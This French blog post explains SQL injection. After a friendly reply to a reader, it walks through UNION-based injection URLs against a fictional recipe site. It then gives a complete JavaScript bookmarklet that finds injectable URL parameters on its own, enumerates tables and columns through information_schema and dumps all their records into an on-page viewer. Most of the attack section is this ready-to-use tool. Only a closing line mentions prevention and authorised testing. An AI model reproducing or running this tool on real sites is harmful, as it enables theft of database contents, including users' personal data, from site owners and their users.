[SQLi] – Un code Javascript pour détecter & automatiser l’extraction de données

 

Salut à tous,

[Exceptionnel] - Remerciements

 

Tout d'abord, je souhaiterais remercier un lecteur  (et commentateur particulièrement actif) répondant au doux nom de Guillaume.
Merci pour tous tes commentaires (nombreux), et je vais répondre à tes quelques demandes "publiquement", afin de répondre également à la communauté silencieuse.

Des smileys dans les commentaires ?
J'y ai déjà réfléchi, mais sachant que la communauté Dyrkienne est assez hétérogène, je pense qu'il y aura les modérés du smiley ... et les extrémistes qui transformeraient le blog en Disneyland Paris !

 Un Repot Git et la centralisation des sources ?

Git ?

J’agrémente régulièrement mes articles, par quelques scripts "maison", et si j'ai fait le choix de ne pas utiliser Git pour ces scripts, c'est pour une raison:
Je suis feignant !
L'écriture d'un article pouvant prendre plusieurs heures, auxquelles s'ajoute la recherche d'inspiration, l'étude d'un sujet ... bref parfois un article peut me demander 2/3 jours (et parfois en 1h c'est bouclé ;) ), donc bon travailler en plus avec Git pour quelques bouts de scripts c'est pas top ^^

Les Sources ?
Je ne fais que très rarement des reprises d'actualités, en général, je parle de tout et de rien, de sujet sur lesquels je me questionne, ou bien des choses que j'ai envie de vous partager.
Il n'y a donc que 1% des articles que j'écris qui doivent faire appel à des sources, le reste vient de mon imagination, de mes mains et de mon clavier ^^

Une newsletter et des mails en réponse aux commentaires ?

La newsletter ?

Pourquoi pas, historiquement j'en avais mis une en place, mais je me suis rendu compte que je perdais beaucoup de personnes avec la newsletter.
Soit les gens la trouvaient polluante (peut-être était-ce le cas).
Soit ils ne prenaient pas le temps de revenir sur le blog, et regardaient la newsletter à la manière du menu d'un restaurant, en mode aucun sujet ne me tente.

Recevoir un mail en réponse à un commentaire.

En effet, c'est une bonne idée.
Je verrais à la mettre en place.

 

Introduction

 

Les injections SQL qu'est-ce que c'est ?
Pour répondre à cette question il faut définir ce qu'est le SQL !

Le SQL est un langage, utilisé pour manipuler des données.

Par exemple:
Lorsque vous allez visiter un site internet, ou lorsque vous utilisez une application sur votre smartphone / ordinateur, celui-ci ou celle-ci va probablement enregistrer et afficher du contenu qui sera je l'espère, stocké dans une base de données !

En matière de données, on peut imaginer stocker le compte des utilisateurs (nom, prénom, email, ...)
On peut également se dire que ça serait pas mal pour stocker des articles (titre, contenu, pièce jointe)

Bref, la base de données est un outil très utilisé, et de plus en plus aujourd'hui.
Car l'information a besoin d'être stockée et organisée !

Pour aller chercher une donnée dans cet endroit ainsi nommé "Base de données".
Un développeur va écrire des requêtes, et donc, pour une base de données SQL, le développeur devra bien entendu, envoyer des requêtes dans le langage SQL !

SELECT titre, corps, commentaires FROM mesArticles WHERE  id = 1234 limit 1

Ici, nous avons une simple requête SQL, qui dit, va me chercher le titre, le corps et les commentaires de l'article (dans mesArticles) qui porte l'id (identifiant)  1234

Maintenant que nous avons défini ce qu'était une base de données, et ce qu'était une requête SQL, nous allons pouvoir parler des SQLi (SQL injection) !
L'injection SQL, c'est lorsqu'un hacker, va avoir la possibilité de modifier cette requête, afin d'extraire les données dont il a besoin !

 

La théorie

Un serveur de  base de données est un serveur qui contient "plusieurs" bases de données.
Chaque base de données contient "plusieurs" tables.
Chaque table contient "plusieurs" colonnes.
Chaque colonne contient des données.

Par exemple, lorsque vous consultez mon blog, il y a des requêtes qui partent vers la base liée à mon blog, et qui vont piocher dans telle ou telle table pour afficher les données qui s'affichent sous vos yeux !

Cependant il existe une super BASE !

Cette base existe partout, elle se nomme information_schema !
Et c'est cette base de données qui contient la structure de toutes les autres !!!
Lorsque vous créez une table, ou que vous ajoutez une colonne, ...
C'est dans cette base que la modification va aller !

Eh du coup, c'est cette précieuse base qui va être ciblée par le pirate informatique !
Ca comme je vous l'ai indiqué plus haut, le hacker va pouvoir modifier la requête du développeur, mais pour cela, il aura besoin de connaitre les noms des tables et de leurs colonnes pour extraire des données !

 

La pratique

L'injection SQL la plus pratiqué est souvent faites sur des sites internet.
La plupart du temps ce sont des sites en PHP, mais il existe aussi certains sites internet en ASP qui sont vulnérables.

Les signes qui trompent rarement, lorsqu'un pirate s'attaque à un site, il va chercher des urls particulières (ce qui est affiché dans votre barre d'adresse).
Son objectif sera de repérer des variables ...

http://cestdutoutcuit.com/marecette.php?id_recette=753

Ici nous constatons la présence d'une variable id_recette

Le hacker va par la suite, essayer de voir si cette variable est récupérée et utilisée dans une requête :

SELECT recette_titre, recette_ingrédient FROM recettes WHERE id_recette = 753  limit 1

Pour vérifier cela, il va rajouter par exemple une guillemet dans l'url, ce qui aura pour conséquence de générer une erreur SQL et peut être de l'afficher !

http://cestdutoutcuit.com/marecette.php?id_recette=753'

Puis ajouter à la suite un ' or 1  limit 1 -- f

http://cestdutoutcuit.com/marecette.php?id_recette=753' or 1 limit 1 -- f

Si l'erreur disparaît, c'est que notre hacker a réussi à exécuter notre code !
Sinon il faudra réessayer sans le guillemet (la quote), ici nous étudierons au survol et non dans l'approfondie.

 

 

Ensuite, notre pirate va devoir "compter les colonnes"
La requête d'origine que le pirate ne voit pas, étant celle-ci

SELECT recette_titre, recette_ingrédient FROM recettes WHERE id_recette = 753  limit 1

On sait qu'il y a 2 colonnes.
Mais le hacker devra le constater à l'aveugle en créant une deuxième requête avec un "union select" suivie de chiffre séparé par des virgules

http://cestdutoutcuit.com/marecette.php?id_recette=753' union select 0

"union select 0" ne fonctionnera pas ici, car il y a 2 colonnes, il faudra donc ajouter encore UN chiffre.

http://cestdutoutcuit.com/marecette.php?id_recette=753' union select 0,1

A quoi servent ces chiffres ?
Lorsque vous ajoutez des chiffres, vous aurez une erreur (visible ou non), l'idée étant qu'en rajoutant des chiffres suivis d'une "," nous parvenions à trouver le bon nombre de colonnes (celles-ci utilisées par le développeur dans sa requête), pour que l'erreur disparaisse !
D'autant que l'utilisation de chiffre permet d'afficher sur la page, les zones où nous pourront extraire les données 


Donc lorsqu'il n'y a plus d'erreur, c'est que la requête fonctionne, et que nous pouvons commencer à étudier la base de données informations_schema (si nous y avons accès)

Donc nous savons que nous avons 2 colonnes car il n'y a plus d'erreur ici

http://cestdutoutcuit.com/marecette.php?id_recette=753' union select 0,1

En ajoutant par la suite FROM information_schema.tables limit 1,1 

Vous devriez voir le contenu de la page, remplacé par les chiffres !

 

Vous devrez donc choisir parmi les chiffres affichés, celui que vous souhaiterez utiliser pour l'injection SQL !

Dans mon exemple fictif, nous avons 2 colonnes, mais que nous avons remplacé par des chiffres "0,1", en admettant que le "1" s'affiche sur notre écran, nous allons pouvoir y afficher des données.

2 tables de la base de données information_schema sont importantes pour un pirate !
La tables "columns" et la table "tables"
Aussi, pour afficher par exemple le nom de l'une des tables de notre serveur de base de données, nous pourrons faire ceci

http://cestdutoutcuit.com/marecette.php?id_recette=753' union select 0,table_name from information_schema.tables  limit 1,1

Je demande le nom de la table "table_name" que j'ai mis à la place de notre "1", je lui demande d'aller le chercher dans la base de données information_schema et plus précisément dans la table "tables"

Voilà, donc de fil en aiguille vous devriez en étudiant bien les tables "tables" et "columns" d'information_schema, pouvoir comprendre le concept d'injection SQL

Le tout cuit

 

Vous prenez ce joli code Javascript que je vous ai écrit ici :

var Dyrk_SQLI = function(){
	var d = document, html = d.getElementsByTagName('html')[0], JQ=d.createElement('script'), params,
	MainUrl = d.location.origin + d.location.pathname, OriginalSize,
	JQurl = 'https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js', testVulUrl = {}, MainSQLi={},
	SpecialCharacters = '@%#!~', mainFrame,optionFrame , tableFrame, dataFrame;
	debug = function(e){
			var generalInfo 	= d.createElement('span'),
				infoText  		= d.createElement('span');
			while (optionFrame.firstChild) optionFrame.removeChild(optionFrame.firstChild);
			generalInfo.textContent = 	"url : "+MainUrl + 
										" - vulnerable variable : "+((MainSQLi.name)?MainSQLi.name:'...') + 	
										" - Attack type : "+((MainSQLi.type)?MainSQLi.type:'...');
			infoText.textContent = e.toString(); 
			optionFrame.appendChild(generalInfo);
			optionFrame.appendChild(d.createElement('br'));
			optionFrame.appendChild(infoText);
	},
	/*string to hex */
	string2hex = function(str){
		var hex, i=0, result = "";
		str+="";
		while (i<str.length) 
		   result += str.charCodeAt(i++).toString(16).slice(-4);
		return result;
	},
	/* hex to string*/
	hex2string = function(hex) {
		var str = '', v;
		for (var i = 0; i < hex.length; i += 2) {
			v = parseInt(hex.substr(i, 2), 16);
			if (v) str += String.fromCharCode(v);
		}
		return str;
	},
	/* get currents vairiables */
	extractVar 	= function(){
		var loop, reg = /(?:\?|&(?:amp;)?)([^=&#]+)(?:=?([^&#]*))/g, val = [],
			get = d.location.search;
		while (loop = reg.exec(get)) val.push(loop);
		return val;
	},
	/* Send specific requests test to detect SQLI*/
	VulnVar = function(v){
		for (var k in v){
			/* test int error with quote */
			setVarValue(v[k][1], v[k][2]+"' int",  	v[k][0], "int", 		tryExploit);
			/* test strings error with quote */
			setVarValue(v[k][1], v[k][2]+"' strings",  	v[k][0], "strings", 	tryExploit);
		}
		return v;
	},
	/* set current get params to a specific value*/
	setVarValue = function(name, value, toReplace, type, func){
		var get = d.location.search, url;
		url = get.replace(toReplace, toReplace[0]+name+"="+value+"&");
		testVulUrl[MainUrl+url] = {"name":name, "value":value, "type":type, "toReplace":toReplace};
		$.get(MainUrl+url, func);
	},
	/* Quick Test to detect SQL Error or Page Size changements*/
	isExploitable = function(contents){
		if (contents.indexOf(SpecialCharacters) != -1) return false;
		if (!((contents.length > OriginalSize - 20) && (contents.length < OriginalSize + 20)) ||
			/You have an error in your SQL syntax|The used SELECT statements |supplied argument is not a valid MySQL result resource/.exec(contents))
				return true;
	},
	/* Define if variable could be use to hack */
	tryExploit = function(contents){
		/* detection SQL synthax, Unknow ... && detection Page Size (any big changement) */
		if (isExploitable(contents)){
				testVulUrl[this.url].start = 0;
				unionExploitation(testVulUrl[this.url]);
			};
	},
	/* Forge Column Request */
	forgeColumnRequest = function(count, dataKey, dataValue, injectType, SQLfunc){
		var  i = 0, str = ((injectType == 'strings')?"1'":"1") + ' union select ';
		while (i <= count) {
			key = (dataKey && dataKey == i) ? dataValue : i;
			str +=((i == 0)?'':',')+((SQLfunc && SQLfunc!="")?SQLfunc:'concat')+'(0x'+string2hex(SpecialCharacters)+','+(key)+',0x'+string2hex(SpecialCharacters)+')';
			i++;
		};
		return str;
	},
	/*Extract Data*/
	extractSQLiData = function(contents, all){
		var rec	= new RegExp(SpecialCharacters+"(.*?)"+SpecialCharacters, "g"), res, result="";
		if (!all || all === false){
			rec = rec.exec(contents);
			result = ((rec && rec[1]) ? rec[1] : - 1);
		}
		else {
			while (res = rec.exec(contents))
				result += ((result == "" )?"":",")+res[1];
		};
		return result;
	},
	/* Extract Data with Union*/
	unionExploitation = function(data){
		if (data.name){
			var get = d.location.search, forgeRequest;
			forgeRequest = forgeColumnRequest(data.start,false,"",data.type);
			forgeRequest+=' from information_schema.tables limit 1,1 -- f ';
			setVarValue(data.name, forgeRequest, data.toReplace, data.type, unionExploitation);
			return 0;
		}
		else if (this.url) {
			if (!isExploitable(data)){
				console.log(MainSQLi);
				if (MainSQLi.rec) return -1;
				MainSQLi 			= testVulUrl[this.url];
				MainSQLi.rec 	 	= extractSQLiData(data);
				MainSQLi.column  	= /select([0-9,x\(\)a-z ]*?)from/.exec(decodeURIComponent(this.url))[1].split('concat').length-2;
				MainSQLi.limit		= 1;
				MainSQLi.tables 	= {};
				debug("ok");
				extractTable(MainSQLi);
			}
			else {
					data = testVulUrl[this.url];
					data.start = /select([0-9,x\(\)a-z ]*?)from/.exec(decodeURIComponent(this.url))[1].split('concat').length-1;
					if (parseInt(data.start) < 50){
						unionExploitation(data);
					}
					else {
						debug('ko');
					};
			};
		};
	},
	/* Extract List of Tables */
	extractTable = function(config){
		if (config.type && config.type != ""){
			debug(["extractTable", config]);
			var forgeRequest = forgeColumnRequest(config.column,config.rec,"count(table_name)",config.type)+" from information_schema.tables where table_schema != 0x"+string2hex("information_schema")+" limit 1,1 -- f";
			setVarValue(config.name, forgeRequest, config.toReplace, config.type, extractTable);
		}
		else {
			var nbTables = extractSQLiData(config), i = 0;
			if (nbTables == "" || nbTables == -1)  return -1;
			nbTables = parseInt(nbTables);
			debug(["extractTable", nbTables]);
			while (i++ <= nbTables){
				var forgeRequest = forgeColumnRequest(MainSQLi.column,MainSQLi.rec,"table_schema,0x"+string2hex(SpecialCharacters)+",0x"+string2hex(SpecialCharacters)+",table_name",MainSQLi.type)+" from information_schema.tables where table_schema != 0x"+string2hex("information_schema")+" limit "+i+",1 -- f";
				setVarValue(MainSQLi.name, forgeRequest, MainSQLi.toReplace, MainSQLi.type, extractTableName);
			};
		};
	},
	/*	Extract Tables Names */
	extractTableName = function(contents){
			var datas = extractSQLiData(contents, true), forgeRequest;
			debug(["extractTableName",datas]);
			if (datas == "" || datas == -1 || datas== null)  return -1;
			datas = datas.split(',');
			table_name 	= datas[1];
			schema_name = datas[0];
			debug(["extractTableName", schema_name, table_name]);
			MainSQLi.tables[table_name] = {};
			MainSQLi.tables[table_name].schema_name  = schema_name;
			/* extract number of tableName */
			forgeRequest = forgeColumnRequest(MainSQLi.column,MainSQLi.rec,"column_name",MainSQLi.type,'group_concat')+" from information_schema.columns where table_name = 0x"+string2hex(table_name)+" limit 1,1 -- f";
			setVarValue(MainSQLi.name, forgeRequest, MainSQLi.toReplace, MainSQLi.type, extractColumns);
	},
	/* Extract Columns */
	extractColumns = function(contents){
		var columnName = extractSQLiData(contents, true), table_name, columns, tmpColumns = [];
		if (columnName == "" || columnName == -1 || columnName== null)  return -1;
		table_name = hex2string(/table_name = 0x(.*?) limit 1,1/.exec(decodeURIComponent(this.url))[1]);
		columns = columnName.split(',');
		for (var i in columns){
				if (columns.indexOf(columns[i]) != tmpColumns.indexOf(columns[i])){
				tmpColumns.push(columns[i]);
			};
		};
		columnName = tmpColumns.join(',');
		debug(["extractColumns", table_name, columnName]);
		MainSQLi.tables[table_name].records = [];
		MainSQLi.tables[table_name].columns = columnName;
		forgeRequest = forgeColumnRequest(MainSQLi.column,MainSQLi.rec,"count(*)",MainSQLi.type)+" from information_schema.columns where table_name = 0x"+string2hex(table_name)+" limit 1,1 -- f";
		setVarValue(MainSQLi.name, forgeRequest, MainSQLi.toReplace, MainSQLi.type, extractNbRecord);
	},
	/* get Nb of Records */
	extractNbRecord = function(contents){
		var recordsNb = extractSQLiData(contents), table_name, i = 1;
		if (recordsNb == "" || recordsNb == -1 || recordsNb == null)  return -1;
		table_name = hex2string(/table_name = 0x(.*?) limit 1,1/.exec(decodeURIComponent(this.url))[1]);
		MainSQLi.tables[table_name]['count'] = parseInt(recordsNb);
		debug(['extractNbRecord',table_name, recordsNb]);
		while (i <= recordsNb){
			forgeRequest = forgeColumnRequest(MainSQLi.column,MainSQLi.rec,MainSQLi.tables[table_name]['columns'].replace(/,/g,",0x"+string2hex(SpecialCharacters)+","),MainSQLi.type,'concat')+" from "+MainSQLi.tables[table_name].schema_name+"."+table_name+" limit "+(i++)+",1 -- f";
			setVarValue(MainSQLi.name, forgeRequest, MainSQLi.toReplace, MainSQLi.type, extractData);
		};
	},
	/* get Records*/
	extractData = function(contents){
		var datas = extractSQLiData(contents, true), table_name, download;
		if (datas == "" || datas == -1 || datas== null)  return -1;
		table_name = /from .*?\.(.*?) limit/.exec(decodeURIComponent(this.url))[1];
		if (!MainSQLi.tables[table_name].records) MainSQLi.tables[table_name].records = [];
		MainSQLi.tables[table_name].records.push(datas);
		debug(['extractData',table_name, MainSQLi.tables[table_name].records.length, MainSQLi.tables[table_name].count]);
		refreshTableIHM();
	},
	/* IHM - Display Tables Records */
	refreshDataFrameIHM = function(table_name){
		var columns = MainSQLi.tables[table_name].columns.split(','), span, separator,records;
		while (dataFrame.firstChild) dataFrame.removeChild(dataFrame.firstChild);
		for (var j in MainSQLi.tables[table_name].records){
			records = MainSQLi.tables[table_name].records[j].split(',');
			for (var i in records){
				spanRecName = d.createElement('span');
				spanRecName.setAttribute('style', 'font-weight:bold;');
				spanRecName.textContent = columns[i]+':';
				dataFrame.appendChild(spanRecName);
				spanRecValue = d.createElement('span');
				spanRecValue.textContent = records[i];
				dataFrame.appendChild(spanRecValue);
				dataFrame.appendChild(d.createElement('p'));			
			};
			separator = d.createElement('p');
			separator.setAttribute('style', 'width:100%;border-bottom:1px solid black;');
			dataFrame.appendChild(separator);
		};
	},
	/* IHM - Display Tables Name */
	refreshTableIHM  = function(){
		var span, progress, status="";
		while (tableFrame.firstChild) tableFrame.removeChild(tableFrame.firstChild);
		for (var i in MainSQLi.tables){
			span = d.createElement('span');
			span.setAttribute('style','padding-left:10px');
			progress = d.createElement('progress');
			progress.setAttribute('style', 'float:right;');
			if (MainSQLi.tables[i].count && MainSQLi.tables[i].records.length){
				progress.setAttribute('max', 	MainSQLi.tables[i].count);
				progress.setAttribute('value', 	 MainSQLi.tables[i].records.length);
				status=" ("+MainSQLi.tables[i].records.length+" / "+MainSQLi.tables[i].count+") ";
			};
			span.textContent = i+status;
			span.addEventListener('click', refreshDataFrameIHM.bind(null, i));
			tableFrame.appendChild(span);
			tableFrame.appendChild(progress);
			tableFrame.appendChild(d.createElement('p'));
		};
	},
	/* IHM - Main Display */
	displayIHM = function(){
		mainFrame 	= d.createElement('div'),
		optionFrame		= d.createElement('div'),
		tableFrame 		= d.createElement('div'),
		dataFrame 		= d.createElement('div');
		mainFrame.appendChild(optionFrame);
		mainFrame.appendChild(tableFrame);
		mainFrame.appendChild(dataFrame);
		mainFrame.setAttribute('style','width:50%;height:400px;position:fixed;top:20%;left:25%;background:#fff;border-radius:10px;');
		optionFrame.setAttribute('style','width:100%;height:10%;border-bottom:1px solid black;overflow:auto;padding:10px');
		tableFrame.setAttribute('style','width:48%;height:90%;border-right:1px solid black;float:left;overflow:auto;');
		dataFrame.setAttribute('style','width:48%;height:90%;float:right;overflow:auto;');
		d.getElementsByTagName('html')[0].appendChild(mainFrame);
	},
	/* Initialisation */
	init = function(){
		if (document.location.search=="") return -1;
		JQ.src = JQurl;
		html.appendChild(JQ);
		JQ.addEventListener('load', function(){
			$.get(document.location, function(e){ 
				OriginalSize = e.length;  
				if (document.location.search=="") return -1;
					displayIHM();
					VulnVar(extractVar()); 
			});
		});
		html.appendChild(JQ);
	};
	init();
}();

 

Vous l'injectez directement dans la barre d'adresse, après avoir écrit "javascript:"

De la manière suivante, et vous validez avec la touche entrée !

 

Patientez un peu et au bout de quelques secondes ....

Vous devriez voir apparaître un gestionnaire de données !

 

 

 

Conclusion

 

C'est étonnant, mais il existe toujours des sites vulnérables aux injections SQL, cet outil n'est pas infaillible, mais il permettra de détecter & d'automatiser un certain nombre d'injection SQL à des fins de prévention, et à ne tester bien évidemment que sur les sites où vous êtes autorisé à faire ce genre de test ;)

 

Partagez ce contenu

One comment

Laisser une réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *